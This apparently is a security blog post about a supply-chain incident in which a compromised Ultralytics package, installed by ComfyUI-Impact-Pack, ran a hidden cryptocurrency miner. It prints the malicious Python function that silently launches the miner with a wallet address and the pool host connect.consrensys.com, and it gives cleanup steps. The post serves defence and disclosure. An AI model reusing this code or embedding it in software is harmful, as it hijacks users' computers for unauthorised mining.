Recently, unauthorized cryptocurrency mining activity was suspected while using ComfyUI with the ComfyUI-Impact-Pack extension. The issue originates from malicious Python code in the Ultralytics package, which attempts to use system resources for unauthorized mining operations.
The incident involves a downloaded module located at the following path (downloads.py):
YourUserPath/AppData/Roaming/Python/Python312/site-packages/ultralytics/utils
The following malicious code was detected:
def safe_run(path):
os.chmod(path, 0o770)
command = [
path,
'-u',
'4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
'-o',
'connect.consrensys.com:8080',
'-k'
]
process = subprocess.Popen(
command,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
close_fds=True
)
os.remove(path)
os.chmod to make the file executable.connect.consrensys.com:8080.This malicious activity is linked to a suspicious version of the Ultralytics package, which appears to be installed as an automatic dependency of ComfyUI-Impact-Pack.
YourUserPath/AppData/Roaming/Python/Python312/site-packages/ultralyticsLikely triggered by the install.py script in ComfyUI-Impact-Pack, which auto-installs dependencies.
connect.consrensys.com4BHRQHF...) indicates active mining account or operation.pip uninstall ultralytics ultralytics-thop
./ComfyUI/custom_nodes/ComfyUI-Impact-Pack
Scan Your System Use antivirus software and malware detection tools to ensure no ongoing threats.
Monitor Network Connections
Check for external connections to connect.consrensys.com and block it in the firewall.
YourUserPath/AppData/Roaming/Python/Python312/site-packages/ultralytics/utils/downloads.pyThis incident highlights the risks of insufficient dependency review in open-source projects, which can expose users’ systems to malicious attacks. The open-source community should adopt stricter review mechanisms to protect end-users.
Unify your chats with DMflow.chat—integrating Facebook, Instagram, Telegram, LINE, and web platforms. Our smart features include history saving, push notifications, marketing campaigns, and agent handovers for unmatched engagement and efficiency.
OpenAI to Release an Open-Source Reasoning Model: A Game-Changer in AI OpenAI is set to relea...
ChatGPT’s Native Image Generation Feature Now Available for Free Users! A New Era of AI Creativit...
Musk’s AI Power Move: xAI Merges with X, Valuation Soars to $80 Billion—Aiming for AI Dominance? ...
Vecto3D: An Ultra-Simple Tool to Convert Your SVG into 3D Models Vecto3D is a simple and easy...
Open Source AI Music Revolution! YuE Model Officially Launched, Generating Professional-Level Voc...
Manus Officially Launches Paid Plans: Starter Package at $39/Month Manus Enters the Paid Market,...
The “Inner Workings” of AI: How They Peek into Claude’s Thoughts? Have you ever wondered how ...
OpenAI Day 6: Chatbot Feature Upgrade: Real-Time Interaction and Holiday Surprises Description O...
OpenAI Announces Support for Anthropic’s MCP Standard, Agent SDK to Integrate MCP OpenAI Embrace...
By continuing to use this website, you agree to the use of cookies according to our privacy policy.